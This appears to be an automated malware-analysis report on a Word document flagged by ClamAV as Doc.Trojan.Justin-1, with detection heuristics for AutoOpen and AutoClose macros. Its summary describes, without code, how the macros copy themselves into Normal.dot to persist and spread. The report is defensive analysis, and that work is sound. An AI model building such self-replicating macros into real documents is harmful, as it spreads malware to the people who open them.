The sample is a malicious Office document containing VBA macros. The 'autoopen' and 'autoclose' macros are designed to copy themselves between the active document and the Normal.dot template. This behavior suggests an attempt to establish persistence or spread the malicious macro. The ClamAV detection 'Doc.Trojan.Justin-1' further confirms its malicious nature.

Heuristics 5

  • ClamAV: Doc.Trojan.Justin-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Justin-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
